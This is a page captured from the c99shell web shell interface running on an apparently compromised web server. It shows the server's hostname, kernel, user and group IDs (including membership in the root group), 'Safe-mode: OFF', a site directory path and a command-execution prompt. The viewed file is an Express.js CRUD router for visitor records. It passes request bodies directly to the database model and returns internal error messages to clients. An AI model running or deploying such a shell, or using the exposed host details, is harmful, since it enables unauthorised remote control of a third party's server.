Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /home/picotech/domains/rentals.picotech.app/public_html/server/routes/ drwxr-xr-x |
Viewing file: Select action/file-type: import express from 'express'; import Visitor from '../models/Visitor.js'; const router = express.Router(); // CREATE a new visitor router.post('/', async (req, res) => { try { const visitor = await Visitor.create(req.body); res.status(201).json(visitor); } catch (err) { console.error('Create visitor error:', err); res.status(400).json({ error: 'Failed to create visitor', details: err.message }); } }); // READ all visitors router.get('/', async (req, res) => { try { const visitors = await Visitor.findAll(); res.json(visitors); } catch (err) { console.error('Fetch visitors error:', err); res.status(500).json({ error: 'Failed to fetch visitors' }); } }); // READ a single visitor by ID router.get('/:id', async (req, res) => { try { const visitor = await Visitor.findByPk(req.params.id); if (!visitor) return res.status(404).json({ error: 'Visitor not found' }); res.json(visitor); } catch (err) { res.status(500).json({ error: 'Failed to fetch visitor' }); } }); // UPDATE a visitor router.put('/:id', async (req, res) => { try { const visitor = await Visitor.findByPk(req.params.id); if (!visitor) return res.status(404).json({ error: 'Visitor not found' }); await visitor.update(req.body); res.json(visitor); } catch (err) { console.error('Update visitor error:', err); res.status(400).json({ error: 'Failed to update visitor', details: err.message }); } }); // DELETE a visitor router.delete('/:id', async (req, res) => { try { const visitor = await Visitor.findByPk(req.params.id); if (!visitor) return res.status(404).json({ error: 'Visitor not found' }); await visitor.destroy(); res.json({ message: 'Visitor deleted' }); } catch (err) { console.error('Delete visitor error:', err); res.status(500).json({ error: 'Failed to delete visitor' }); } }); export default router; |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0068 ]-- |